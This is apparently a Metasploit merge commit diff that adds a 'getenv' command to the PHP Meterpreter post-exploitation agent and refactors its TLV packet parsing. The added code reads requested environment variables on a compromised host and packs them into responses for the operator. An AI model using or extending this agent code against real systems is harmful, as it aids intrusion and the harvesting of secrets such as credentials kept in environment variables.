Merge branch 'egypt/feature/getenv-php' into getenv_cmd

data/meterpreter/ext_server_stdapi.php

@@ -78,6 +78,14 @@ define("TLV_TYPE_VALUE_DATA",          TLV_META_TYPE_RAW     | 1012);
 define("TLV_TYPE_COMPUTER_NAME",       TLV_META_TYPE_STRING  | 1040);
 define("TLV_TYPE_OS_NAME",             TLV_META_TYPE_STRING  | 1041);
 define("TLV_TYPE_USER_NAME",           TLV_META_TYPE_STRING  | 1042);
+define("TLV_TYPE_ARCHITECTURE",        TLV_META_TYPE_STRING  | 1043);
+define("TLV_TYPE_LANG_SYSTEM",         TLV_META_TYPE_STRING  | 1044);
+
+# Environment
+define("TLV_TYPE_ENV_VARIABLE",        TLV_META_TYPE_STRING  | 1100);
+define("TLV_TYPE_ENV_VALUE",           TLV_META_TYPE_STRING  | 1101);
+define("TLV_TYPE_ENV_GROUP",           TLV_META_TYPE_GROUP   | 1102);
+
 
 define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
 
@@ -573,6 +581,41 @@ function stdapi_sys_config_getuid($req, &$pkt) {
 }
 }
 
+if (!function_exists('stdapi_sys_config_getenv')) {
+register_command('stdapi_sys_config_getenv');
+function stdapi_sys_config_getenv($req, &$pkt) {
+    my_print("doing getenv");
+
+    $variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE);
+
+    # If we decide some day to have sys.config.getenv return all env
+    # vars when given an empty search list, this is one way to do it.
+    #if (empty($variable_tlvs)) {
+    #    # We don't have a var to look up, return all of 'em
+    #    $variables = array_keys($_SERVER);
+    #} else {
+    #    $variables = array();
+    #    foreach ($variable_tlvs as $tlv) {
+    #        array_push($variables, $tlv['value']);
+    #    }
+    #}
+
+    foreach ($variable_tlvs as $name) {
+        $canonical_name = str_replace(array("$","%"), "", $name['value']);
+        $env = getenv($canonical_name);
+        if ($env !== FALSE) {
+            $grp = "";
+            $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name));
+            $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env));
+            packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp));
+        }
+    }
+
+    return ERROR_SUCCESS;
+}
+}
+
+
 # Unimplemented becuase it's unimplementable
 #if (!function_exists('stdapi_sys_config_rev2self')) {
 #register_command('stdapi_sys_config_rev2self');

data/meterpreter/meterpreter.php

@@ -680,6 +680,30 @@ function tlv_pack($tlv) {
     return $ret;
 }
 
+function tlv_unpack($raw_tlv) {
+    $tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8));
+    $type = $tlv['type'];
+    my_print("len: {$tlv['len']}, type: {$tlv['type']}");
+    if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
+        $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
+    }
+    elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
+        $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
+    }
+    elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
+        $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
+    }
+    elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
+        $tlv = unpack("Nlen/Ntype", $raw_tlv);
+        $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8);
+    }
+    else {
+        my_print("Wtf type is this? $type");
+        $tlv = null;
+    }
+    return $tlv;
+}
+
 function packet_add_tlv(&$pkt, $tlv) {
     $pkt .= tlv_pack($tlv);
 }
@@ -689,27 +713,10 @@ function packet_get_tlv($pkt, $type) {
     # Start at offset 8 to skip past the packet header
     $offset = 8;
     while ($offset < strlen($pkt)) {
-        $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
+        $tlv = tlv_unpack(substr($pkt, $offset));
         #my_print("len: {$tlv['len']}, type: {$tlv['type']}");
         if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
             #my_print("Found one at offset $offset");
-            if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
-                $tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len']));
-            }
-            elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
-                $tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len']));
-            }
-            elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
-                $tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len']));
-            }
-            elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
-                $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8));
-                $tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8);
-            }
-            else {
-                my_print("Wtf type is this? $type");
-                $tlv = null;
-            }
             return $tlv;
         }
         $offset += $tlv['len'];
@@ -719,6 +726,27 @@ function packet_get_tlv($pkt, $type) {
 }
 
 
+function packet_get_all_tlvs($pkt, $type) {
+    my_print("Looking for all tlvs of type $type");
+    # Start at offset 8 to skip past the packet header
+    $offset = 8;
+    $all = array();
+    while ($offset < strlen($pkt)) {
+        $tlv = tlv_unpack(substr($pkt, $offset));
+        if ($tlv == NULL) {
+            break;
+        }
+        my_print("len: {$tlv['len']}, type: {$tlv['type']}");
+        if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
+            my_print("Found one at offset $offset");
+            array_push($all, $tlv);
+        }
+        $offset += $tlv['len'];
+    }
+    return $all;
+}
+
+
 ##
 # Functions for genericizing the stream/socket conundrum
 ##